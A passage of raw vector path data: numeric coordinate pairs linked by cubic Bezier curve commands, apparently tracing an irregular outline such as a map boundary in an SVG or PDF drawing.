103188.33 115247.67 103199.00 115237.00C103199.00 115247.67 103199.00 115258.33 103199.00 115269.00C103209.67 115269.00 103220.33 115269.00 103231.00 115269.00C103263.00 115290.33 103295.00 115311.67 103327.00 115333.00C103359.33 115322.33 103391.67 115311.67 103424.00 115301.00C103456.00 115311.67 103488.00 115322.33 103520.00 115333.00C103530.67 115333.00 103541.33 115333.00 103552.00 115333.00C103563.00 115322.33 103574.00 115311.67 103585.00 115301.00C103627.67 115290.33 103670.33 115279.67 103713.00 115269.00C103777.44 115279.72 103841.90 115290.30 103906.33 115301.11C103938.55 115311.74 103970.78 115322.37 104003.00 115333.00C104013.67 115333.00 104024.33 115333.00 104035.00 115333.00C104074.53 115353.49 104114.15 115373.82 104154.07 115393.54C104159.82 115397.39 104166.15 115398.81 104173.00 115398.00C104180.33 115398.00 104187.67 115398.00 104195.00 115398.00C104206.00 115419.33 104217.00 115440.67 104228.00 115462.00C104260.00 115472.67 104292.00 115483.33 104324.00 115494.00C104484.67 115494.00 104645.33 115494.00 104806.00 115494.00C104784.67 115515.33 104763.33 115536.67 104742.00 115558.00C104688.33 115558.00 104634.67 115558.00 104581.00 115558.00C104570.20 115569.03 104559.63 115580.26 104548.69 115591.15C104527.46 115601.77 104506.23 115612.38 104485.00 115623.00C104474.33 115644.33 104463.67 115665.67 104453.00 115687.00C104463.67 115719.38 104474.79 115751.64 104485.18 115784.09C104495.78 115848.06 104506.39 115912.03 104517.00 115976.00C104517.00 116008.33 104517.00 116040.67 104517.00 116073.00C104549.00 116169.33 104581.00 116265.67 104613.00 116362.00C104613.00 116405.00 104613.00 116448.00 104613.00 116491.00C104624.00 116533.67 104635.00 116576.33 104646.00 116619.00C104646.00 116683.33 104646.00 116747.67 104646.00 116812.00C104699.33 116865.67 104752.67 116919.33 104806.00 116973.00C104849.00 116973.00 104892.00 116973.00 104935.00 116973.00C104956.33 116983.67 104977.67 116994.33 104999.00 117005.00C105009.67 117005.00 105020.33 117005.00 105031.00 117005.00C105042.00 116962.33 105053.00 116919.67 105064.00 116877.00C105117.33 116844.67 105170.67 116812.33 105224.00 116780.00C105277.67 116769.33 105331.33 116758.67 105385.00 116748.00C105428.00 116748.00 105471.00 116748.00 105514.00 116748.00C105589.00 116769.33 105664.00 116790.67 105739.00 116812.00C105824.67 116812.00 105910.33 116812.00 105996.00 116812.00C106028.10 116823.06 106060.23 116834.02 106092.31 116845.15C106114.28 116856.12 106136.51 116866.61 106158.32 116877.88C106189.88 116898.92 106221.44 116919.96 106253.00 116941.00C106253.00 116951.67 106253.00 116962.33 106253.00 116973.00C106263.67 116983.67 106274.33 116994.33 106285.00 117005.00C106274.33 117037.33 106263.67 117069.67 106253.00 117102.00C106221.00 117134.00 106189.00 117166.00 106157.00 117198.00C106135.33 117241.00 106113.67 117284.00 106092.00 117327.00C106028.00 117337.67 105964.00 117348.33 105900.00 117359.00C105857.00 117359.00 105814.00 117359.00 105771.00 117359.00C105760.33 117369.67 105749.67 117380.33 105739.00 117391.00C105738.79 117402.10 105739.43 117413.29 105738.67 117424.34C105728.11 117466.89 105717.56 117509.45 105707.00 117552.00C105674.67 117573.33 105642.33 117594.67 105610.00 117616.00C105599.24 117638.16 105588.00 117660.10 105577.53 117682.39C105567.02 117713.93 105556.51 117745.46 105546.00 117777.00C105503.00 117787.67 105460.00 117798.33 105417.00 117809.00C105385.00 117852.00 105353.00 117895.00 105321.00 117938.00C105321.00 117948.67 105321.00 117959.33 105321.00 117970.00C105331.67 117991.33 105342.33 118012.67 105353.00 118034.00C105353.00 118055.67 105353.00 118077.33 105353.00 118099.00C105374.33 118120.33 105395.67 118141.67 105417.00 118163.00C105427.67 118184.33 105438.33 118205.67 105449.00 118227.00C105438.33 118248.33 105427.67 118269.67 105417.00 118291.00C105449.33 118291.00 105481.67 118291.00 105514.00 118291.00C105524.67 118302.00 105535.33 118313.00 105546.00 118324.00C105546.00 118356.00 105546.00 118388.00 105546.00 118420.00C105610.33 118430.67 105674.67 118441.33 105739.00 118452.00C105781.67 118473.67 105824.33 118495.33 105867.00 118517.00C105867.00 118527.67 105867.00 118538.33 105867.00 118549.00C105878.00 118549.00 105889.00 118549.00 105900.00 118549.00C105921.33 118559.67 105942.67 118570.33 105964.00 118581.00C105985.33 118570.33 106006.67 118559.67 106028.00 118549.00C106071.00 118570.33 106114.00 118591.67 106157.00 118613.00C106189.00 118613.00 106221.00 118613.00 106253.00 118613.00C106274.67 118623.67 106296.33 118634.33 106318.00 118645.00C106350.00 118645.00 106382.00 118645.00 106414.00 118645.00C106435.33 118655.67 106456.67 118666.33 106478.00 118677.00C106531.67 118655.67 106585.33 118634.33 106639.00 118613.00C106650.30 118613.23 106661.67 118612.52 106672.92 118613.38C106725.95 118623.92 106778.97 118634.46 106832.00 118645.00C106842.67 118655.67 106853.33 118666.33 106864.00 118677.00C106885.33 118666.33 106906.67 118655.67 106928.00 118645.00C106971.00 118645.00 107014.00 118645.00 107057.00 118645.00C107068.07 118634.16 107078.71 118622.83 107090.05 118612.31C107122.14 118591.16 107154.18 118569.94 107186.31 118548.85C107207.54 118538.23 107228.77 118527.62 107250.00 118517.00C107250.00 118506.00 107250.00 118495.00 107250.00 118484.00C107282.00 118484.00 107314.00 118484.00 107346.00 118484.00C107367.67 118495.00 107389.33 118506.00 107411.00 118517.00C107411.00 118527.67 107411.00 118538.33 107411.00 118549.00C107443.10 118559.73 107475.24 118570.35 107507.31 118581.15C107550.20 118602.44 107593.10 118623.72 107636.00 118645.00C107678.67 118645.00 107721.33 118645.00 107764.00 118645.00C107796.33 118709.33 107828.67 118773.67 107861.00 118838.00C107861.00 118848.67 107861.00 118859.33 107861.00 118870.00C107882.33 118880.67 107903.67 118891.33 107925.00 118902.00C107925.00 118923.67 107925.00 118945.33 107925.00 118967.00C107946.33 118977.67 107967.67 118988.33 107989.00 118999.00C107989.00 119009.67 107989.00 119020.33 107989.00 119031.00C108021.33 119063.00 108053.67 119095.00 108086.00 119127.00C108086.00 119138.00 108086.00 119149.00 108086.00 119160.00C108107.33 119160.00 108128.67 119160.00 108150.00 119160.00C108139.33 119170.67 108128.67 119181.33 108118.00 119192.00C108150.33 119192.00 108182.67 119192.00 108215.00 119192.00C108215.00 119213.33 108215.00 119234.67 108215.00 119256.00C108204.00 119256.00 108193.00 119256.00 108182.00 119256.00C108203.67 119256.00 108225.33 119256.00 108247.00 119256.00C108247.00 119266.67 108247.00 119277.33 108247.00 119288.00C108257.67 119288.00 108268.33 119288.00 108279.00 119288.00C108279.00 119298.67 108279.00 119309.33 108279.00 119320.00C108314.09 119338.15 108349.16 119356.34 108384.72 119373.54C108392.48 119377.36 108400.24 119381.18 108408.00 119385.00C108429.33 119385.00 108450.67 119385.00 108472.00 119385.00C108472.00 119363.33 108472.00 119341.67 108472.00 119320.00C108504.00 119320.00 108536.00 119320.00 108568.00 119320.00C108589.67 119331.00 108611.33 119342.00 108633.00 119353.00C108633.00 119342.00 108633.00 119331.00 108633.00 119320.00C108654.33 119341.67 108675.67 119363.33 108697.00 119385.00C108739.67 119385.00 108782.33 119385.00 108825.00 119385.00C108846.67 119395.67 108868.33 119406.33 108890.00 119417.00C108890.00 119427.67 108890.00 119438.33 108890.00 119449.00C108900.67 119438.33 108911.33 119427.67 108922.00 119417.00C108922.00 119427.67 108922.00 119438.33 108922.00 119449.00C108943.33 119438.33 108964.67 119427.67 108986.00 119417.00C108996.67 119417.00 109007.33 119417.00 109018.00 119417.00C109018.00 119427.67 109018.00 119438.33 109018.00 119449.00C109029.00 119449.00 109040.00 119449.00 109051.00 119449.00C109051.00 119459.67 109051.00 119470.33 109051.00 119481.00C109061.67 119491.67 109072.33 119502.33 109083.00 119513.00C109083.00 119534.67 109083.00 119556.33 109083.00 119578.00C109093.67 119578.00 109104.33 119578.00 109115.00 119578.00C109136.33 119599.33 109157.67 119620.67 109179.00 119642.00C109189.67 119642.00 109200.33 119642.00 109211.00 119642.00C109222.00 119652.67 109233.00 119663.33 109244.00 119674.00C109254.67 119674.00 109265.33 119674.00 109276.00 119674.00C109297.33 119684.67 109318.67 119695.33 109340.00 119706.00C109340.00 119695.33 109340.00 119684.67 109340.00 119674.00C109350.67 119684.67 109361.33 119695.33 109372.00 119706.00C109372.00 119727.67 109372.00 119749.33 109372.00 119771.00C109382.67 119781.67 109393.33 119792.33 109404.00 119803.00C109393.33 119803.00 109382.67 119803.00 109372.00 119803.00C109393.33 119824.33 109414.67 119845.67 109436.00 119867.00C109447.00 119867.00 109458.00 119867.00 109469.00 119867.00C109458.00 119867.00 109447.00 119867.00 109436.00 119867.00C109436.00 119877.67 109436.00 119888.33 109436.00 119899.00C109447.00 119899.00 109458.00 119899.00 109469.00 119899.00C109479.67 119909.67 109490.33 119920.33 109501.00 119931.00C109522.33 119931.00 109543.67 119931.00 109565.00 119931.00C109575.67 119920.33 109586.33 119909.67 109597.00 119899.00C109607.67 119909.67 109618.33 119920.33 109629.00 119931.00C109639.67 119931.00 109650.33 119931.00 109661.00 119931.00C109672.00 119941.67 109683.00 119952.33 109694.00 119963.00C109694.00 119974.00 109694.00 119985.00 109694.00 119996.00C109694.00 119985.00 109694.00 119974.00 109694.00 119963.00C109715.33 119974.00 109736.67 119985.00 109758.00 119996.00C109768.67 119996.00 109779.33 119996.00 109790.00 119996.00C109800.67 120006.67 109811.33 120017.33 109822.00 120028.00C109811.33 120038.67 109800.67 120049.33 109790.00 120060.00C109790.00 120070.67 109790.00 120081.33 109790.00 120092.00C109822.21 120059.88 109854.12 120027.45 109887.00 119996.00C109887.00 120006.67 109887.00 120017.33 109887.00 120028.00C109908.33 120028.00 109929.67 120028.00 109951.00 120028.00C109961.67 120038.67 109972.33 120049.33 109983.00 120060.00C110004.33 120060.00 110025.67 120060.00 110047.00 120060.00C110036.33 120038.67 110025.67 120017.33 110015.00 119996.00C110036.41 120017.59 110058.07 120038.94 110080.00 120060.00C110101.33 120060.00 110122.67 120060.00 110144.00 120060.00C110144.00 120049.33 110144.00 120038.67 110144.00 120028.00C110154.67 120038.67 110165.33 120049.33 110176.00 120060.00C110197.33 120060.00 110218.67 120060.00 110240.00 120060.00C110240.00 120070.67 110240.00 120081.33 110240.00 120092.00C110250.67 120092.00 110261.33 120092.00 110272.00 120092.00C110283.00 120113.33 110294.00 120134.67 110305.00 120156.00C110326.33 120156.00 110347.67 120156.00 110369.00 120156.00C110379.67 120177.67 110390.33 120199.33 110401.00 120221.00C110401.00 120231.67 110401.00 120242.33 110401.00 120253.00C110411.67 120253.00 110422.33 120253.00 110433.00 120253.00C110443.67 120274.33 110454.33 120295.67 110465.00 120317.00C110475.67 120317.00 110486.33 120317.00 110497.00 120317.00C110497.00 120327.67 110497.00 120338.33 110497.00 120349.00C110518.67 120370.67 110540.33 120392.33 110562.00 120414.00C110572.67 120414.00 110583.33 120414.00 110594.00 120414.00C110594.00 120403.00 110594.00 120392.00 110594.00 120381.00C110615.33 120381.00 110636.67 120381.00 110658.00 120381.00C110647.33 120392.00 110636.67 120403.00 110626.00 120414.00C110626.00 120424.67 110626.00 120435.33 110626.00 120446.00C110658.33 120446.00 110690.67 120446.00 110723.00 120446.00C110765.67 120467.33 110808.33 120488.67 110851.00 120510.00C110840.33 120510.00 110829.67 120510.00 110819.00 120510.00C110840.33 120520.67 110861.67 120531.33 110883.00 120542.00C110872.33 120542.00 110861.67 120542.00 110851.00 120542.00C110872.67 120552.67 110894.33 120563.33 110916.00 120574.00C110926.67 120563.33 110937.33 120552.67 110948.00 120542.00C110969.33 120563.67 110990.67 120585.33 111012.00 120607.00C111044.00 120607.00 111076.00 120607.00 111108.00 120607.00C111097.33 120607.00 111086.67 120607.00 111076.00 120607.00C111076.00 120617.67 111076.00 120628.33 111076.00 120639.00C111086.67 120639.00 111097.33 120639.00 111108.00 120639.00C111108.00 120649.67 111108.00 120660.33 111108.00 120671.00C111119.00 120660.33 111130.00 120649.67 111141.00 120639.00C111151.67 120660.33 111162.33 120681.67 111173.00 120703.00C111183.67 120703.00 111194.33 120703.00 111205.00 120703.00C111215.67 120692.33 111226.33 120681.67 111237.00 120671.00C111247.67 120681.67 111258.33 120692.33 111269.00 120703.00C111258.33 120703.00 111247.67 120703.00 111237.00 120703.00C111258.33 120724.33 111279.67 120745.67 111301.00 120767.00C111311.67 120756.33 111322.33 120745.67 111333.00 120735.00C111386.67 120767.33 111440.33 120799.67 111494.00 120832.00C111515.67 120821.00 111537.33 120810.00 111559.00 120799.00C111569.67 120799.00 111580.33 120799.00 111591.00 120799.00C111612.33 120810.00 111633.67 120821.00 111655.00 120832.00C111676.33 120832.00 111697.67 120832.00 111719.00 120832.00C111719.00 120842.67 111719.00 120853.33 111719.00 120864.00C111740.67 120853.33 111762.33 120842.67 111784.00 120832.00C111794.67 120821.00 111805.33 120810.00 111816.00 120799.00C111837.33 120799.00 111858.67 120799.00 111880.00 120799.00C111880.00 120810.00 111880.00 120821.00 111880.00 120832.00C111912.33 120832.00 111944.67 120832.00 111977.00 120832.00C111987.67 120842.67 111998.33 120853.33 112009.00 120864.00C112041.00 120864.00 112073.00 120864.00 112105.00 120864.00C112137.33 120874.67 112169.67 120885.33 112202.00 120896.00C112212.67 120896.00 112223.33 120896.00 112234.00 120896.00C112234.00 120906.67 112234.00 120917.33 112234.00 120928.00C112244.67 120938.67 112255.33 120949.33 112266.00 120960.00C112287.33 120960.00 112308.67 120960.00 112330.00 120960.00C112340.67 120949.33 112351.33 120938.67 112362.00 120928.00C112383.67 120949.33 112405.33 120970.67 112427.00 120992.00C112437.67 120981.33 112448.33 120970.67 112459.00 120960.00C112469.67 120960.00 112480.33 120960.00 112491.00 120960.00C112501.67 120970.67 112512.33 120981.33 112523.00 120992.00C112555.33 120992.00 112587.67 120992.00 112620.00 120992.00C112630.67 121002.67 112641.33 121013.33 112652.00 121024.00C112662.67 121024.00 112673.33 121024.00 112684.00 121024.00C112673.33 121035.00 112662.67 121046.00 112652.00 121057.00C112662.67 121057.00 112673.33 121057.00 112684.00 121057.00C112684.00 121067.67 112684.00 121078.33 112684.00 121089.00C112694.67 121089.00 112705.33 121089.00 112716.00 121089.00C112726.67 121099.67 112737.33 121110.33 112748.00 121121.00C112780.33 121121.00 112812.67 121121.00 112845.00 121121.00C112845.00 121142.33 112845.00 121163.67 112845.00 121185.00C112855.67 121195.67 112866.33 121206.33 112877.00 121217.00C112877.00 121228.00 112877.00 121239.00 112877.00 121250.00C112909.00 121239.00 112941.00 121228.00 112973.00 121217.00C112994.67 121228.00 113016.33 121239.00 113038.00 121250.00C113080.67 121250.00 113123.33 121250.00 113166.00 121250.00C113166.00 121282.00 113166.00 121314.00 113166.00 121346.00C113176.67 121346.00 113187.33 121346.00 113198.00 121346.00C113219.91 121367.08 113241.60 121388.39 113263.00 121410.00C113273.67 121399.33 113284.33 121388.67 113295.00 121378.00C113295.00 121399.33 113295.00 121420.67 113295.00 121442.00C113327.00 121453.00 113359.00 121464.00 113391.00 121475.00C113401.67 121485.67 113412.33 121496.33 113423.00 121507.00C113434.00 121496.33 113445.00 121485.67 113456.00 121475.00C113477.33 121475.00 113498.67 121475.00 113520.00 121475.00C113520.00 121464.00 113520.00 121453.00 113520.00 121442.00C113541.33 121442.00 113562.67 121442.00 113584.00 121442.00C113594.67 121453.00 113605.33 121464.00 113616.00 121475.00C113627.00 121464.00 113638.00 121453.00 113649.00 121442.00C113649.00 121453.00 113649.00 121464.00 113649.00 121475.00C113670.33 121475.00 113691.67 121475.00 113713.00 121475.00C113723.67 121496.33 113734.33 121517.67 113745.00 121539.00C113766.33 121549.67 113787.67 121560.33 113809.00 121571.00C113852.00 121571.00 113895.00 121571.00 113938.00 121571.00C113959.33 121592.33 113980.67 121613.67 114002.00 121635.00C114023.67 121635.00 114045.33 121635.00 114067.00 121635.00C114077.67 121646.00 114088.33 121657.00 114099.00 121668.00C114131.00 121668.00 114163.00 121668.00 114195.00 121668.00C114195.00 121678.67 114195.00 121689.33 114195.00 121700.00C114227.33 121721.33 114259.67 121742.67 114292.00 121764.00C114292.00 121774.67 114292.00 121785.33 114292.00 121796.00C114302.67 121785.33 114313.33 121774.67 114324.00 121764.00C114356.00 121796.00 114388.00 121828.00 114420.00 121860.00C114420.00 121881.67 114420.00 121903.33 114420.00 121925.00C114430.67 121925.00 114441.33 121925.00 114452.00 121925.00C114462.67 121957.00 114473.33 121989.00 114484.00 122021.00C114495.00 122031.67 114506.00 122042.33 114517.00 122053.00C114517.00 122064.00 114517.00 122075.00 114517.00 122086.00C114495.33 122096.67 114473.67 122107.33 114452.00 122118.00C114484.33 122128.67 114516.67 122139.33 114549.00 122150.00C114559.67 122139.33 114570.33 122128.67 114581.00 122118.00C114591.67 122128.67 114602.33 122139.33 114613.00 122150.00C114602.33 122160.67 114591.67 122171.33 114581.00 122182.00C114613.00 122182.00 114645.00 122182.00 114677.00 122182.00C114677.00 122214.00 114677.00 122246.00 114677.00 122278.00C114709.33 122278.00 114741.67 122278.00 114774.00 122278.00C114816.70 122321.29 114859.05 122364.96 114903.00 122407.00C114903.00 122417.67 114903.00 122428.33 114903.00 122439.00C114881.33 122449.67 114859.67 122460.33 114838.00 122471.00C114816.67 122492.67 114795.33 122514.33 114774.00 122536.00C114774.00 122557.33 114774.00 122578.67 114774.00 122600.00C114827.67 122675.00 114881.33 122750.00 114935.00 122825.00C114945.67 122846.33 114956.33 122867.67 114967.00 122889.00C114967.00 122942.67 114967.00 122996.33 114967.00 123050.00C114934.67 123050.00 114902.33 123050.00 114870.00 123050.00C114838.00 123039.33 114806.00 123028.67 114774.00 123018.00C114763.33 123018.00 114752.67 123018.00 114742.00 123018.00C114720.33 123028.67 114698.67 123039.33 114677.00 123050.00C114666.19 123071.91 114654.92 123093.61 114644.39 123115.65C114612.59 123201.10 114580.79 123286.55 114549.00 123372.00C114538.31 123382.79 114527.41 123393.39 114516.84 123404.31C114495.22 123446.87 114473.61 123489.44 114452.00 123532.00C114441.33 123585.67 114430.67 123639.33 114420.00 123693.00C114409.33 123703.67 114398.67 123714.33 114388.00 123725.00C114388.00 123736.00 114388.00 123747.00 114388.00 123758.00C114420.00 123790.00 114452.00 123822.00 114484.00 123854.00C114462.67 123886.00 114441.33 123918.00 114420.00 123950.00C114430.67 123971.67 114441.33 123993.33 114452.00 124015.00C114452.00 124025.67 114452.00 124036.33 114452.00 124047.00C114473.67 124068.33 114495.33 124089.67 114517.00 124111.00C114517.00 124207.67 114517.00 124304.33 114517.00 124401.00C114528.01 124422.74 114538.58 124444.73 114549.88 124466.32C114570.92 124497.88 114591.96 124529.44 114613.00 124561.00C114613.00 124593.33 114613.00 124625.67 114613.00 124658.00C114581.00 124733.00 114549.00 124808.00 114517.00 124883.00C114538.33 124936.67 114559.67 124990.33 114581.00 125044.00C114581.00 125086.67 114581.00 125129.33 114581.00 125172.00C114570.33 125204.33 114559.67 125236.67 114549.00 125269.00C114538.33 125279.67 114527.67 125290.33 114517.00 125301.00C114538.37 125333.11 114559.85 125365.15 114581.15 125397.31C114591.77 125418.87 114602.38 125440.44 114613.00 125462.00C114613.00 125483.33 114613.00 125504.67 114613.00 125526.00C114569.81 125612.18 114526.39 125698.25 114483.36 125784.51C114451.48 125859.38 114419.37 125934.16 114387.64 126009.08C114366.36 126073.15 114345.20 126137.26 114323.85 126201.31C114313.23 126222.87 114302.62 126244.44 114292.00 126266.00C114238.33 126308.67 114184.67 126351.33 114131.00 126394.00C114109.67 126404.67 114088.33 126415.33 114067.00 126426.00C114045.33 126447.67 114023.67 126469.33 114002.00 126491.00C113980.67 126501.67 113959.33 126512.33 113938.00 126523.00C113926.98 126523.23 113915.86 126522.54 113904.91 126523.36C113872.26 126534.03 113839.73 126545.07 113807.01 126555.50C113765.00 126566.00 113723.00 126576.50 113681.00 126587.00C113616.67 126587.00 113552.33 126587.00 113488.00 126587.00C113391.33 126608.33 113294.67 126629.67 113198.00 126651.00C113149.27 126683.96 113100.73 126717.18 113051.47 126749.34C113035.98 126759.56 113020.49 126769.78 113005.00 126780.00C112994.33 126780.00 112983.67 126780.00 112973.00 126780.00C112962.33 126790.67 112951.67 126801.33 112941.00 126812.00C112930.33 126855.00 112919.67 126898.00 112909.00 126941.00C112887.67 126951.67 112866.33 126962.33 112845.00 126973.00C112791.33 127069.33 112737.67 127165.67 112684.00 127262.00C112684.00 127272.67 112684.00 127283.33 112684.00 127294.00C112662.58 127305.08 112641.09 127316.04 112619.72 127327.21C112576.60 127359.43 112533.22 127391.32 112490.26 127423.74C112469.13 127444.94 112447.86 127466.00 112426.82 127487.29C112373.21 127573.19 112319.61 127659.10 112266.00 127745.00C112255.33 127777.00 112244.67 127809.00 112234.00 127841.00C112201.67 127873.00 112169.33 127905.00 112137.00 127937.00C112062.00 127980.00 111987.00 128023.00 111912.00 128066.00C111890.67 128087.33 111869.33 128108.67 111848.00 128130.00C111848.00 128141.00 111848.00 128152.00 111848.00 128163.00C111826.67 128184.33 111805.33 128205.67 111784.00 128227.00C111730.33 128345.00 111676.67 128463.00 111623.00 128581.00C111612.33 128634.33 111601.67 128687.67 111591.00 128741.00C111612.33 128773.33 111633.67 128805.67 111655.00 128838.00C111654.96 128859.45 111655.09 128880.89 111654.93 128902.34C111644.29 128955.89 111633.64 129009.45 111623.00 129063.00C111623.00 129116.67 111623.00 129170.33 111623.00 129224.00C111633.67 129256.00 111644.33 129288.00 111655.00 129320.00C111676.33 129341.33 111697.67 129362.67 111719.00 129384.00C111708.33 129459.00 111697.67 129534.00 111687.00 129609.00C111676.33 129630.67 111665.67 129652.33 111655.00 129674.00C111590.67 129716.67 111526.33 129759.33 111462.00 129802.00C111387.00 129802.00 111312.00 129802.00 111237.00 129802.00C111215.67 129812.67 111194.33 129823.33 111173.00 129834.00C111130.00 129887.67 111087.00 129941.33 111044.00 129995.00C111033.33 130027.33 111022.67 130059.67 111012.00 130092.00C110990.67 130124.00 110969.33 130156.00 110948.00 130188.00C110948.00 130220.33 110948.00 130252.67 110948.00 130285.00C110926.33 130338.33 110904.67 130391.67 110883.00 130445.00C110851.00 130456.00 110819.00 130467.00 110787.00 130478.00C110776.33 130499.33 110765.67 130520.67 110755.00 130542.00C110743.99 130542.23 110732.86 130541.54 110721.91 130542.36C110689.94 130552.91 110657.97 130563.45 110626.00 130574.00C110583.00 130574.00 110540.00 130574.00 110497.00 130574.00C110486.31 130584.79 110475.41 130595.39 110464.85 130606.31C110454.23 130627.54 110443.62 130648.77 110433.00 130670.00C110443.67 130723.67 110454.33 130777.33 110465.00 130831.00C110454.33 130852.67 110443.67 130874.33 110433.00 130896.00C110443.84 130907.06 110455.15 130917.72 110465.70 130929.03C110487.14 130960.68 110508.57 130992.34 110530.00 131024.00C110540.67 131088.33 110551.33 131152.67 110562.00 131217.00C110572.67 131227.67 110583.33 131238.33 110594.00 131249.00C110583.04 131303.66 110572.45 131358.39 110561.25 131413.00C110550.84 131455.00 110540.41 131497.00 110530.00 131539.00C110530.00 131571.00 110530.00 131603.00 110530.00 131635.00C110514.47 131649.71 110499.80 131665.39 110483.02 131678.72C110423.68 131728.48 110364.34 131778.24 110305.00 131828.00C110293.71 131871.70 110282.83 131915.52 110271.28 131959.15C110250.03 132022.72 110228.94 132086.33 110208.00 132150.00C110175.95 132182.11 110143.78 132214.10 110111.81 132246.28C110090.11 132278.26 110068.54 132310.33 110046.76 132342.25C110036.04 132353.19 110025.54 132364.34 110014.69 132375.15C109972.13 132396.44 109929.56 132417.72 109887.00 132439.00C109854.55 132438.96 109822.11 132439.07 109789.66 132438.94C109725.44 132428.30 109661.22 132417.65 109597.00 132407.00C109586.33 132407.00 109575.67 132407.00 109565.00 132407.00C109543.67 132417.67 109522.33 132428.33 109501.00 132439.00C109479.07 132481.99 109457.45 132525.17 109435.31 132568.05C109414.20 132600.03 109393.10 132632.01 109372.00 132664.00C109382.67 132685.33 109393.33 132706.67 109404.00 132728.00C109457.67 132771.00 109511.33 132814.00 109565.00 132857.00C109565.00 132889.00 109565.00 132921.00 109565.00 132953.00C109586.33 132996.00 109607.67 133039.00 109629.00 133082.00C109629.00 133125.00 109629.00 133168.00 109629.00 133211.00C109586.33 133286.00 109543.67 133361.00 109501.00 133436.00C109479.33 133457.33 109457.67 133478.67 109436.00 133500.00C109425.33 133521.33 109414.67 133542.67 109404.00 133564.00C109339.67 133585.67 109275.33 133607.33 109211.00 133629.00C109179.00 133650.33 109147.00 133671.67 109115.00 133693.00C109082.67 133768.00 109050.33 133843.00 109018.00 133918.00C109018.00 133939.33 109018.00 133960.67 109018.00 133982.00C109007.33 134014.33 108996.67 134046.67 108986.00 134079.00C108911.00 134132.33 108836.00 134185.67 108761.00 134239.00C108739.67 134271.33 108718.33 134303.67 108697.00 134336.00C108675.67 134346.67 108654.33 134357.33 108633.00 134368.00C108633.00 134378.67 108633.00 134389.33 108633.00 134400.00C108611.33 134400.00 108589.67 134400.00 108568.00 134400.00C108514.67 134464.33 108461.33 134528.67 108408.00 134593.00C108396.13 134628.39 108383.62 134663.58 108372.21 134699.12C108330.47 134835.41 108288.74 134971.71 108247.00 135108.00C108193.33 135183.00 108139.67 135258.00 108086.00 135333.00C108053.79 135365.12 108021.88 135397.55 107989.00 135429.00C107978.33 135461.33 107967.67 135493.67 107957.00 135526.00C107882.00 135579.33 107807.00 135632.67 107732.00 135686.00C107691.94 135727.75 107650.57 135768.20 107609.77 135809.23C107604.92 135813.12 107601.91 135818.35 107599.50 135824.00C107590.33 135842.33 107581.17 135860.67 107572.00 135879.00C107561.00 135879.00 107550.00 135879.00 107539.00 135879.00C107528.33 135889.67 107517.67 135900.33 107507.00 135911.00C107474.90 135922.06 107442.77 135933.02 107410.69 135944.15C107367.79 135965.43 107324.90 135986.72 107282.00 136008.00C107228.33 136018.67 107174.67 136029.33 107121.00 136040.00C107089.00 136072.33 107057.00 136104.67 107025.00 136137.00C106992.56 136158.37 106960.17 136179.84 106927.69 136201.15C106906.05 136212.11 106884.17 136222.63 106862.68 136233.88C106831.13 136254.92 106799.56 136275.96 106768.00 136297.00C106703.67 136318.67 106639.33 136340.33 106575.00 136362.00C106532.00 136394.00 106489.00 136426.00 106446.00 136458.00C106414.00 136468.67 106382.00 136479.33 106350.00 136490.00C106264.00 136543.67 106178.00 136597.33 106092.00 136651.00C106081.33 136672.33 106070.67 136693.67 106060.00 136715.00C106006.67 136758.00 105953.33 136801.00 105900.00 136844.00C105878.33 136887.00 105856.67 136930.00 105835.00 136973.00C105824.33 136973.00 105813.67 136973.00 105803.00 136973.00C105760.33 136994.33 105717.67 137015.67 105675.00 137037.00C105589.00 137058.33 105503.00 137079.67 105417.00 137101.00C105406.33 137111.67 105395.67 137122.33 105385.00 137133.00C105374.33 137133.00 105363.67 137133.00 105353.00 137133.00C105288.67 137165.33 105224.33 137197.67 105160.00 137230.00C105138.57 137262.07 105117.29 137294.24 105095.76 137326.24C105085.18 137336.83 105074.59 137347.41 105064.00 137358.00C104999.67 137379.67 104935.33 137401.33 104871.00 137423.00C104828.18 137466.01 104784.80 137508.45 104741.79 137551.28C104709.83 137594.30 104677.73 137637.23 104645.84 137680.31C104634.89 137701.54 104623.95 137722.77 104613.00 137744.00C104613.00 137765.67 104613.00 137787.33 104613.00 137809.00C104624.00 137819.67 104635.00 137830.33 104646.00 137841.00C104613.67 137894.33 104581.33 137947.67 104549.00 138001.00C104538.33 138001.00 104527.67 138001.00 104517.00 138001.00C104442.00 138097.67 104367.00 138194.33 104292.00 138291.00C104259.79 138323.12 104227.88 138355.55 104195.00 138387.00C104131.00 138387.00 104067.00 138387.00 104003.00 138387.00C104003.00 138397.67 104003.00 138408.33 104003.00 138419.00C103991.89 138419.07 103980.78 138418.85 103969.67 138419.11C103842.45 138461.80 103715.25 138504.58 103587.96 138547.07C103578.11 138550.75 103568.97 138556.17 103559.41 138560.58C103525.14 138577.49 103490.85 138594.40 103456.78 138611.69C103451.17 138616.26 103446.41 138621.90 103441.12 138626.88C103435.19 138632.94 103428.93 138638.73 103423.30 138645.05C103401.86 138677.03 103380.43 138709.01 103359.00 138741.00C103316.33 138751.67 103273.67 138762.33 103231.00 138773.00C103220.33 138773.00 103209.67 138773.00 103199.00 138773.00C103199.00 138783.67 103199.00 138794.33 103199.00 138805.00C103166.67 138837.33 103134.33 138869.67 103102.00 138902.00C103069.91 138912.75 103037.75 138923.32 103005.70 138934.18C102952.01 138966.14 102898.41 138998.24 102844.68 139030.13C102790.60 139052.07 102736.38 139073.65 102682.39 139095.81C102640.26 139116.87 102598.13 139137.93 102556.00 139159.00C102534.33 139191.00 102512.67 139223.00 102491.00 139255.00C102491.00 139266.00 102491.00 139277.00 102491.00 139288.00C102469.67 139309.33 102448.33 139330.67 102427.00 139352.00C102405.25 139363.01 102383.27 139373.59 102361.68 139384.88C102329.79 139405.92 102297.89 139426.96 102266.00 139448.00C102255.33 139491.00 102244.67 139534.00 102234.00 139577.00C102202.00 139620.00 102170.00 139663.00 102138.00 139706.00C102138.00 139909.33 102138.00 140112.67 102138.00 140316.00C102095.00 140359.00 102052.00 140402.00 102009.00 140445.00C102009.00 140466.33 102009.00 140487.67 102009.00 140509.00C101966.00 140573.33 101923.00 140637.67 101880.00 140702.00C101858.61 140777.10 101837.31 140852.23 101815.87 140927.32C101794.59 140980.88 101773.29 141034.44 101752.00 141088.00C101752.00 141098.67 101752.00 141109.33 101752.00 141120.00C101730.58 141163.08 101709.29 141206.23 101687.80 141249.28C101634.20 141324.19 101580.60 141399.09 101527.00 141474.00C101516.33 141484.67 101505.67 141495.33 101495.00 141506.00C101419.67 141527.33 101344.33 141548.67 101269.00 141570.00C101172.67 141634.33 101076.33 141698.67 100980.00 141763.00C100894.33 141806.00 100808.67 141849.00 100723.00 141892.00C100680.00 141881.33 